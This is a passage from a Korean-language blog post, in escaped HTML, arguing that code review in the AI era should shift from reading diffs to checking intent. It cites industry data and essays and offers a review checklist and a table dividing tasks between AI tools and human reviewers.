&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI 생성 코드를 이해하는 능력이 더 중요해진다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;리뷰는 품질 검증이자 책임 이전의 관문이다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 3. 반 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a2e; border-bottom: 3px solid #0066cc; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;3. 주장 2 &amp;mdash; 전통적 코드 리뷰 모델은 이미 무너졌다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 현실을 직시하는 두 번째 입장이 있다. 인간 리뷰가 이상적이라는 건 알지만, &lt;b&gt;현재의 코드 리뷰 방식은 이미 구조적으로 작동하지 않는다&lt;/b&gt;는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a1a2e; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: left; border: 1px solid #ddd;&quot;&gt;데이터 포인트&lt;/th&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: left; border: 1px solid #ddd;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: left; border: 1px solid #ddd;&quot;&gt;시사점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #fff8f8;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;400줄 이상 PR에서 결함 발견율(defect detection rate) 급감&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;SmartBear &amp;mdash; Cisco 2,500건 리뷰 분석&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;AI PR은 대부분 400줄 초과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;AI 코딩 도구 도입 후 개발자 코드 생산량 200% 증가&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;Anthropic 내부 데이터&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;리뷰 부담 2배 이상 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff8f8;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;AI 도입 전 리뷰 커버리지 16%에 불과&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;Anthropic 내부 데이터&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;AI 도입 전에도 리뷰는 제대로 안 됐다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #666666; font-size: 13px; font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;SmartBear 수치는 업계에서 광범위하게 인용되는 연구 결과이며, Anthropic 데이터는 공식 블로그에서 확인 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Bryan Finster는 자신의 에세이 &quot;AI Broke Your Code Review&quot;에서 Dave Farley의 Nyquist-Shannon 적용을 이렇게 소개한다. AI가 신호를 생성하는 주파수(코드 생산 속도)가 인간이 샘플링하는 주파수(리뷰 속도)의 두 배를 초과하면, 신호 재현이 불가능해진다. 즉, 인간이 아무리 열심히 리뷰해도 AI 생산 속도를 감당할 수 없는 구조적 한계가 있다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://bryanfinster.substack.com/p/ai-broke-your-code-review-heres-how&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;bryanfinster.substack.com &amp;mdash; AI Broke Your Code Review&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 생성 코드의 또 다른 역설이 있다. 표면적으로 깔끔하고 패턴이 일관돼 보이기 때문에, 오히려 리뷰어가 주의를 덜 기울이게 된다. &quot;그럴듯해 보임&quot;이 &quot;올바름&quot;으로 오해되는 것이다. Stanford Law School CodeX 센터는 &quot;Built by Agents, Tested by Agents, Trusted by Whom?&quot;이라는 글에서 이를 신뢰 귀속 문제로 분석했다. 같은 AI 모델이 코드를 작성하고 테스트까지 수행하면 검증의 독립성이 사라진다. 나아가 &quot;인간이 수년 전부터 코드 읽기를 멈추면, 장애를 이해하는 데 필요한 제도적 지식이 소멸할 것(the institutional knowledge required to understand the failure will have atrophied, because the humans stopped reading code years ago)&quot;이라고 경고한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(참고: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://law.stanford.edu/2026/02/08/built-by-agents-tested-by-agents-trusted-by-whom/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Stanford CodeX, 2026-02-08&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Salesforce의 내부 AI 코드 리뷰 도구 &lt;b&gt;Prizm&lt;/b&gt;을 개발한 경험도 시사적이다. AI 코드 생산량이 급증하면서 기존 리뷰 프로세스가 병목이 됐고, Salesforce Engineering 팀은 AI 보조 리뷰 도입 없이는 품질 관리가 불가능해졌다고 공개했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://engineering.salesforce.com/scaling-code-reviews-adapting-to-a-surge-in-ai-generated-code/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Salesforce Engineering Blog&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fce4ec; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #c62828; margin: 20px 0;&quot;&gt;&lt;b&gt;반론의 핵심&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;SmartBear 400줄 한계와 AI의 수백~수천 줄 생산 &amp;mdash; 전통적 리뷰는 구조적으로 실패한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Nyquist-Shannon: 생산 속도가 리뷰 속도를 초과하면 정보 손실은 필연이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;그럴듯해 보임&quot; 편향 &amp;mdash; AI 코드가 오히려 더 얕은 리뷰를 부른다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 4. 합 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a2e; border-bottom: 3px solid #0066cc; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;4. 해법 &amp;mdash; 리뷰의 대상을 바꿔라: Intent Review&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫 번째 주장은 옳다. 책임은 여전히 인간에게 있다. 그런데 두 번째 주장도 옳다. 기존 방식의 diff 리뷰는 AI 시대에 구조적으로 작동하지 않는다. 그렇다면 어떻게 해야 하는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해법은 단순하다. &lt;b&gt;리뷰의 대상을 코드 diff에서 의도(Intent)로 바꿔라.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Aviator 창립자 Ankit Jain이 latent.space에 쓴 에세이 &quot;How to Kill the Code Review&quot;는 이 방향을 명확히 제시한다. &quot;인간은 스펙, 계획, 제약 조건, 수용 기준을 리뷰해야 한다. 500줄짜리 diff가 아니라(Humans should review specs, plans, constraints, and acceptance criteria&amp;mdash;not 500-line diffs).&quot; 리뷰의 질문이 '이 코드를 올바르게 작성했는가?'에서 '우리가 올바른 문제를 올바른 제약 조건으로 풀고 있는가?'로 바뀐다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.latent.space/p/reviews-dead&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;latent.space &amp;mdash; How to Kill the Code Review&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f3e5f5; padding: 20px 25px; border-radius: 12px; border: 2px solid #7b1fa2; margin: 20px 0;&quot;&gt;&lt;b&gt;Swiss Cheese Model &amp;mdash; 5가지 방어 레이어&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;비행기 사고 분석에서 차용한 Swiss Cheese 모델을 코드 리뷰에 적용하면, 각 레이어의 구멍이 일치할 때만 버그가 통과한다. 어떤 단일 리뷰도 완벽할 수 없으므로, 레이어를 겹쳐 방어한다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;스펙 리뷰&lt;/b&gt; &amp;mdash; &quot;이 요구사항이 올바른가?&quot; (코드 작성 전)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;AI 자동 리뷰&lt;/b&gt; &amp;mdash; 패턴, 보안, 스타일 자동 검사 (Claude Code Review 등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Intent 리뷰&lt;/b&gt; &amp;mdash; &quot;이 코드가 스펙을 실현하는가?&quot; (인간 리뷰어)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;통합 테스트&lt;/b&gt; &amp;mdash; &quot;시스템 전체에서 기대대로 동작하는가?&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;모니터링&lt;/b&gt; &amp;mdash; &quot;프로덕션에서 실제로 문제없는가?&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Finster와 여러 업계 논의를 종합하면, 인간 리뷰어가 코드 머지를 &lt;b&gt;블로킹해야 하는 조건은 두 가지&lt;/b&gt;로 좁힐 수 있다. 코드 품질이나 스타일이 아니라:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;조건 1&lt;/b&gt;: 이 변경이 의도한 비즈니스 결과를 달성하지 못한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;조건 2&lt;/b&gt;: 이 변경이 알려진 위험(보안, 데이터, 가용성)을 도입한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지(스타일, 컨벤션, 간단한 버그 패턴)는 자동화에 맡기고 인간은 의도와 위험 판단에 집중한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Qodo(구 CodiumAI)의 &quot;State of AI Code Quality 2025&quot; 리포트(609명 개발자 대상)에서도 관련 패턴이 확인됐다. AI 자동 리뷰와 인간 리뷰를 결합한 개발자 중 81%가 코드 품질 개선을 체감했으며, 미활용 팀은 55%에 그쳤다(개발자 체감 기준). 이는 AI가 기계적 검사를 처리하고 인간이 더 높은 수준의 판단에 집중하는 분업 구조가 효과적임을 시사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.qodo.ai/reports/state-of-ai-code-quality/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Qodo &amp;mdash; State of AI Code Quality 2025&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 5. 실전 적용 --&gt;
&lt;h2 style=&quot;color: #1a1a2e; border-bottom: 3px solid #0066cc; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;5. 실전 적용: Intent Review 체크리스트 + 역할 분담&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이론은 충분하다. 내일 스탠드업에서 팀에게 공유할 수 있는 실전 프레임워크를 제시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;5-1. Intent Review 체크리스트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PR을 열었을 때, diff를 읽기 전에 먼저 이 질문들에 답하라:&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 25px; border-radius: 8px; border: 1px solid #dee2e6; margin: 15px 0;&quot;&gt;&lt;b&gt;PR 리뷰 시작 전 &amp;mdash; Intent 확인 (2분)&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;PR 제목/설명에서 &lt;b&gt;&quot;왜&quot; 이 변경이 필요한지&lt;/b&gt; 명확히 설명했는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;이 PR이 해결하려는 &lt;b&gt;비즈니스 문제/유저 시나리오&lt;/b&gt;가 무엇인가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;해당 기능의 &lt;b&gt;스펙(티켓, 요구사항 문서)&lt;/b&gt;을 확인했는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;이 변경이 &lt;b&gt;의도하지 않은 사이드 이펙트&lt;/b&gt;를 일으킬 수 있는 영역은?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 25px; border-radius: 8px; border: 1px solid #dee2e6; margin: 15px 0;&quot;&gt;&lt;b&gt;블로킹 여부 판단 &amp;mdash; 업계 논의 종합 기준 (3분)&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;이 변경이 &lt;b&gt;의도한 비즈니스 결과를 달성하지 못하는가?&lt;/b&gt; &amp;rarr; Yes &amp;rarr; 블로킹&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;이 변경이 &lt;b&gt;보안/데이터/가용성 리스크를 새로 도입하는가?&lt;/b&gt; &amp;rarr; Yes &amp;rarr; 블로킹&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;위 두 조건이 모두 No &amp;rarr; 나머지는 자동화(AI 리뷰)에 맡기고 승인 고려&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;5-2. AI 도구 vs 인간 리뷰어 역할 분담&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 리뷰 도구(Claude Code Review 등)와 인간 리뷰어가 각각 잘하는 것이 다르다. 역할을 명확히 나누면 효율이 올라간다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a1a2e; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: left; border: 1px solid #ddd;&quot;&gt;리뷰 영역&lt;/th&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;AI 자동 리뷰&lt;/th&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;인간 리뷰어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 16px; text-align: left; border: 1px solid #ddd;&quot;&gt;근거&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;코드 스타일 / 컨벤션&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;AI&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;패턴 매칭, 린터 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;보안 취약점 패턴&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;AI (1차)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;인간 (최종)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;AI 검출 + 인간 맥락 판단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;테스트 커버리지 확인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;AI&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;수치 측정, 미커버 영역 검출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;비즈니스 로직 정확성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;인간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;스펙 이해, 도메인 지식 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;시스템 아키텍처 영향&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;인간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;전체 시스템 맥락 파악 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;UX / 사용자 경험 판단&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;인간&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;사용자 공감, 직관적 판단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;기존 버그 / 회귀 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;AI (1차)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; text-align: center; border: 1px solid #ddd;&quot;&gt;인간 (확인)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 16px; border: 1px solid #ddd;&quot;&gt;AI 검출 + 인간 우선순위 판단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #666666; font-size: 13px; font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;이 역할 분담 매트릭스는 업계 논의와 필자의 관찰을 종합한 의견이다. 팀의 상황에 따라 조정이 필요하다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;5-3. 팀에 적용하기 위한 3단계&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;스펙을 PR의 필수 요소로 만들어라&lt;/b&gt; &amp;mdash; PR 템플릿에 &quot;해결하려는 비즈니스 문제&quot;와 &quot;예상 동작&quot;을 필수 항목으로 추가한다. 리뷰어가 Intent를 파악할 재료를 PR 작성자가 제공해야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;b&gt;AI 자동 리뷰를 1차 게이트로 세워라&lt;/b&gt; &amp;mdash; Claude Code Review, GitHub Copilot 코드 리뷰 등으로 스타일&amp;middot;보안&amp;middot;테스트 커버리지를 자동 처리한다. 인간이 그 부분에 쓰는 시간을 Intent 검토로 돌린다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;블로킹 기준을 명확히 선언하라&lt;/b&gt; &amp;mdash; &quot;비즈니스 목표 미달&quot; 또는 &quot;알려진 위험 도입&quot; 두 조건만 블로킹 사유로 팀 내 합의한다. 스타일 논쟁은 자동화에 위임하고, 인간은 가치 판단에 집중한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 6. 결론 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a2e; border-bottom: 3px solid #0066cc; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;6. 결론: AI 네이티브 엔지니어의 새로운 책임&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Flowkater.io에 게재되어 GeekNews를 통해 주목받은 에세이 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://flowkater.io/posts/2026-03-08-ai-code-review/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;AI 시대에 코드 리뷰, 어떻게 해야할까?&quot;&lt;/a&gt;(2026-03-08, Tony Cho)에서, 저자는 글 말미에 솔직하게 고백한다. &quot;나는 지금 내가 AI로 작성한 코드를 직접 리뷰하지 않는다. 대신 QA의 역할을 한다.&quot; &quot;이 코드가 어떻게 작동하는가&quot;를 확인하는 것을 멈추고, &quot;이 시스템이 내가 원하는 결과를 내는가&quot;를 검증하기 시작했다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 포기가 아니다. 역할의 진화다. AI 네이티브 엔지니어는 &lt;b&gt;점점 더 PM의 사고방식을 내면화해야 한다.&lt;/b&gt; 코드를 어떻게 쓰는지보다, 무엇을 왜 만드는지를 더 명확하게 정의하고, 그 정의가 최종 결과물에서 실현됐는지를 검증하는 능력이 핵심이 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1a1a2e; color: #f0f0f0; padding: 20px 25px; border-radius: 12px; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 18px; font-style: italic; line-height: 1.6;&quot; data-ke-size=&quot;size18&quot;&gt;&quot;당신은 당신이 머지한 코드에 책임을 질 수 있는가?&lt;br /&gt;AI가 썼다는 건 변명이 되지 않는다.&lt;br /&gt;책임질 수 있는 엔지니어가 AI 네이티브 시대의 진짜 고수다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px 25px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;핵심 정리&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;주장 1:&lt;/b&gt; AI 코드도 최종 책임은 인간에게 있다 (Simon Willison, Kent Beck)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;주장 2:&lt;/b&gt; 전통적 diff 리뷰는 AI 생산 속도를 구조적으로 감당할 수 없다 (코드 생산량 vs. 리뷰 용량의 한계)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;해법:&lt;/b&gt; 리뷰 대상을 코드 diff &amp;rarr; Intent(의도)로 전환하라. AI는 &quot;how&quot;를 검사하고, 인간은 &quot;why&quot;와 &quot;what&quot;을 검증한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;블로킹 기준:&lt;/b&gt; ① 비즈니스 목표 미달 ② 알려진 위험 도입 &amp;mdash; 이 두 가지만 인간이 블로킹한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;b&gt;실천:&lt;/b&gt; PR 템플릿에 Intent 추가, AI 자동 리뷰 1차 게이트화, 블로킹 기준 팀 합의&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 크로스링크 --&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #ffa000; margin: 20px 0;&quot;&gt;&lt;b&gt;이 철학을 실천하는 구체적 도구가 궁금하다면&lt;/b&gt;
&lt;p style=&quot;margin: 8px 0 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;Intent Review를 지원하는 AI 코드 리뷰 도구 중 하나가 &lt;b&gt;Claude Code Review&lt;/b&gt;다. Anthropic이 내부에서 수개월 운영하며 검증한 멀티 에이전트 리뷰 시스템으로, 코드 스타일&amp;middot;보안&amp;middot;테스트 커버리지를 자동 처리해 인간 리뷰어가 Intent에 집중할 수 있도록 돕는다. 설정 방법, 비용, 커스터마이징까지 공식 문서 기반으로 정리한 가이드를 참고하라.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고 자료&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
